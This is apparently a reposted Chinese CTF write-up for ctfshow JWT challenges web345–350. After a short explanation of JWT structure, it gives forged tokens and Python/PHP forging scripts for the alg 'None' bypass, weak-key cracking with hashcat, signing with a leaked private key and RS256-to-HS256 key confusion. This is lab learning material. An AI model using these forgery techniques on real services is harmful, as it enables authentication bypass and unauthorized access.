ctfshow-jwt
将信息进行安全的封装,以json的方式传递
三部分分别是:
Header
{
'typ': 'JWT' token类型
'alg': 'HS256' 算法名称
}
将这个信息进行base64加密,构成了第一部分
payload载荷,存放主要信息的地方
{
"sub": '1234567890', 标准中注册的声明
"name": 'john', 公共的声明
"admin" :true 私有的声明
}
base64加密,得到jwt第二部分
第三部分Signature签名
签名是将加密后的header和payload用点拼接,再将结果通过Header声明的算法
进行加密,构成了jwt整个第三部分
Signature也是由三部分组成的,第一部分加密之后的header,第二部分加密之后的payload,第三部分它对前两个信息的再次进行加密
先将header和payload进行base64加密,然后用点拼接,之后用header指定的算法进行加密,得到结果拼接到第三部分
web345
jwt抓个包看一下
解码第二部分
修改user成admin,直接拼接到原header发现不行
这个时候又尝试解header的base64得到
{"alg":"None","typ":"jwt"}
修改None成HS256再base64加密
eyJhbGciOiJIUzI1NiIsInR5cCI6Imp3dCJ9.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MDIyNjkwMzAsImV4cCI6MTcwMjI3NjIzMCwibmJmIjoxNzAyMjY5MDMwLCJzdWIiOiJhZG1pbiIsImp0aSI6ImYyMDYyYTMxYTdmMGU0MGE0MjgxZTI3NWViZjk2ZDVkIn1d
对用户进行了验证,签名未校验,不要签名就可以成功验证。但是alg不能为None
web346
有签名了
HS256算法加密
将里面的user改为admin,base64加密,去掉后边签名部分(保留最后的 .)
eyJpc3MiOiJhZG1pbiIsImlhdCI6MTczNDk1MzE5NSwiZXhwIjoxNzM0OTYwMzk1LCJuYmYiOjE3MzQ5NTMxOTUsInN1YiI6ImFkbWluIiwianRpIjoiYjhkMDk5NDU1NWU1ODU0ZjYyMjAzMTk3MjgyYjJlNDMifQ==
alg改为None空,签名会被置空,这样任何 token 都是有效的
原理:通过将alg改成空使token生效,再将user改为admin让服务器认为是admin用户拿到flag
web347
HS256算法加密,但上面说了是弱口令,找一下工具
使用hashcat进行爆破
密钥为 123456
到JWT.io 网站上填上密钥123456 修改sub为admin
web348
和上一题差不多
c-jwt-cracker安装和使用
https://blog.csdn.net/m0_61025358/article/details/134744252
密钥是aaab
密钥输错了,从新弄了一下
web349
题目下面有一个js文件
点击下载自动跳转到另一个页面
解读一下这两段代码
router.get('/', function(req, res, next) {
#定义了一个处理get请求的路由,设置响应内容类型为html
res.type('html');
var privateKey = fs.readFileSync(process.cwd()+'//public//private.key');
#从文件系统同步读取一个私钥文件,这个私钥用于JWT的签名
var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });
#创建一个jwt,包含一个用户信息user,并用私钥签名,指定签名算法为RS256
res.cookie('auth', token);#响应中设置一个名为auth的cookie,值为生成的jwt
res.end('where is flag?');
结束响应并发送wher is flag?
});
router.post('/', function(req, res, next) {
var flag = "flag_here";
res.type('html');
var auth = req.cookies.auth;#从请求中获取名为auth的cookie,它应该包含客户端发送的jwt
var cert = fs.readFileSync(process.cwd()+'//public/public.key');
#从文件系统同步读取一个公钥文件,用于jwt的验证
jwt.verify(auth, cert, function(err, decoded) {
#验证jwt的有效性,如果有效,decoded会包含jwt的载荷(payload)
if(decoded.user === 'admin'){
#检测jwt载荷中的user字段是否为admin。
res.end(flag);
}else{
res.end('you are not admin');
}
});
});
私钥和公钥:私钥用于JWT的签名,公钥用于JWT的验证。私钥应该保密,公钥可以公开。
试着访问一下上面的目录
提示内部错误,删除部分目录试试,删除前面的目录可以下载
将两个全部下载下来
private
public
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNioS2aSHtu6WIU88oWzpShhkb
+r6QPBryJmdaR1a3ToD9sXDbeni5WTsWVKrmzmCk7tu4iNtkmn/r9D/bFcadHGnX
YqlTJItOdHZio3Bi1J2Elxg8IEBKx9g6RggTOGXQFxSxlzLNMRzRC4d2PcA9mxjA
bG1Naz58ibbtogeglQIDAQAB
-----END PUBLIC KEY-----
没什么思路了,抓个包看看
没什么用
看了一下代码,又想了一下既然我有私钥是否能够伪造jwt呢
使用python写了一个脚本用来生成jwt
import jwt
#读取私钥内容
public = open('private.key', 'r').read()
#定义一个载荷,键值对,user:admin
payload={"user":"admin"}
print(jwt.encode(payload, key=public, algorithm='RS256'))#使用私钥和RS256算法生成JWT,并打印
不知道为什么没有成功
看了一下别人写的要用post请求
还可以访问这个网站https://jwt.io/,通过私钥和公钥生成jwt
web350
有个源码包访问下载下来
访问页面还是和上面的一样什么都没有
下载下来的压缩包解压之后里面有很多文件
不过最重要的是public里面的公钥
光有公钥,不能像上一题那样解了,先抓个包看看吧
看一下算法
用的RS256算法加密,搜索一下
RS256(带有SHA-256的 RSA 签名)是一种非对称算法,它使用公钥/私钥对:身份提供者拥有用于生成签名的私钥(秘密)密钥,而 JWT 的消费者获得公钥验证签名。由于与私钥相反,公钥不需要保持安全,因此大多数身份提供者都可以让消费者轻松获取和使用(通常通过元数据 URL)。
- 对称加密: 加密方和解密方利用同一个秘钥对数据进行加密和解密。
- 非对称加密: 加密方用私钥加密,并把公钥告诉解密方用于解密。
还是没有什么有用的翻找一下给的代码,找到了routes下的index.js
访问一下私钥和公钥的位置
私钥访问错误
公钥可以下载,但和给的是一样的
在网上找到一篇文章,里面说了jwt的漏洞算法修改,非对称加密修改成对称加密
https://www.cnblogs.com/backlion/p/16699442.html
使用python脚本生成的tonken不行,看了一下别人的脚本,生成的token
<?php
require_once '../../vendor/autoload.php';#引入 Composer 的自动加载器
use Firebase\JWT\JWT;#引入 Firebase\JWT\JWT 类
$str = '{"user":"admin"}';
$payload = json_decode($str,true);#使用json函数将 JSON 字符串解析为 PHP 数组。
$privateKey = file_get_contents("../../loadFile/public.key");
$JWT = JWT::encode($payload, $privateKey, 'HS256');#创建一个 JWT
print_r($JWT);
?>
//eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.tUW02ZLnqxC3g29JEh_dGs6bIz93kIXZxUX4uRfXrdU
原文地址:https://blog.csdn.net/2401_87493916/article/details/144727173
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!